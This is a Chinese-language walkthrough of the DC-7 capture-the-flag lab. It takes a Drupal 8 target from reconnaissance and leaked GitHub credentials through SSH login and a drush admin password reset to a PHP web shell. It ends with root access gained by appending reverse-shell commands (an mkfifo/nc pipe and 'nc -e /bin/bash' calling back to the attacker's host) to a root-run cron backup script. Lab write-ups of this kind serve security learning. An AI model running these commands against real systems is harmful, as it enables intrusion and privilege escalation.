信息搜集
- 通过nmap扫描ip和端口发现:ip为192.168.6.151,开放端口号为80和22
- 针对端口号进行单独扫描没有太多有用信息
- 查看框架:在浏览器输入靶机ip,利用插件查看为Drupal 8(可以用网站指纹工具查whatweb+ip)
- 查看目录:dirsearch -u http://192.168.6.151;
根据上图发现了用户登录界面,按照常理接下来应该是进行用户名和密码的爆破
所以进行漏洞扫描:searchsploit Drupal 8;但是没有可以利用的CVE漏洞
这时想起网站首页的话内容大概是要跳脱出平常的思维,然后看见网站底部有一个像用户名的东西,去搜索了一下发现在GitHub上面有这个网站的相关信息
其中config文件中还有一个用户名和密码,dc7user,MdR3xOgB7#dW
漏洞利用
这个用户名和密码可以在网站上先试试,不过很显然不能登录成功,这时想到了最开始的22端口可以试试远程登录,ssh dc7user@192.168.6.151
发现两个文件夹,分别进入查看
cat mbox,发现了一个sh文件,里面的cron是定时任务的意思
进入该文件目录,内容中有一些命令没见过,这个文件有!/bin/sh说明很有可以在提权的时候会用到
其中的drush是drupal框架中用来做一些配置的命令,它可以改变用户名密码
再看看backups文件夹发现全是gpg结尾的文件,通过搜索发现这是一种加密方式
就目前的信息来看只有drush是有用的我们可以修改一个已知用户(admin)的密码然后登陆进去:drush user-password admin --password="123456"
登陆成功
反弹shell
现在就是找一个空白页可以上传php代码的那种然后利用蚁剑反弹shell(利用Drupal反弹shell)
content-add content-basic page;,然后保存,得到如图结果,查资料得知该页面不支持php代码,需要自己重新安装模块
安装模块:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz,这里选择下载安装包手动安装
接下来安装
选择PHP Fliter安装
设置一句话木马
用工具进行连接,这里不知道有什么问题连不上所以,不再利用蚁剑反弹到kali,而是直接利用页面反弹shell:;交互python -c 'import pty;pty.spawn("/bin/bash")'
这里会再次反弹,前文提到过的那个backups.sh文件派上了用场
rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)
mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)
cat /tmp/f 取出管道符中的内容,|/bin/sh -i 2>&1 将前面取出的内容作为输入,输入给 /bin/sh,再将bash的标准错误输出 也作为标准输入 (2 >&1)给bash 然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.6.128 1234 >/tmp/f" >> /opt/scripts/backups.sh
- 方法二:利用定时任务
echo "nc -e /bin/bash 192.168.6.128 1234" >> /opt/scripts/backups.sh
按理来说这里监听成功就可以了至于出来什么问题还不知道(原因是backup.sh没有使用绝对路径),反弹回来就是root的权限
总结
- 这里用了两次反弹shell,一次从网站到kali,另一次是从kali到kali
- 开始在蚁剑无法连接上卡了很久,实在是没整出来,所以选择直接利用php的system来反弹第一个shell
- 在第二反弹shell的时候利用了命名管道mkfio,但是无法成功返回,发现有的博主是直接蚁剑的backups.sh文件中利用nc反弹(当然前提是第一次用工具反弹成功了)
- 总之还是要根据框架(drupal8)去寻找突破口
- 关于drush命令和mkfifo(https://www.cnblogs.com/old-path-white-cloud/p/11685558.html)的使用
- 这里也使用了重定向来写入数据
- 遗留的问题为什么最后一步反弹回来就是root权限(刚刚又看了以下.sh文件中有root@dc-7的定时任务也就是也有cron命令这是不是就意味着这个文件所属权在root?),如何得知需要反弹两次shell
- 最后没有反弹成功的原因是backup.sh没有使用绝对路径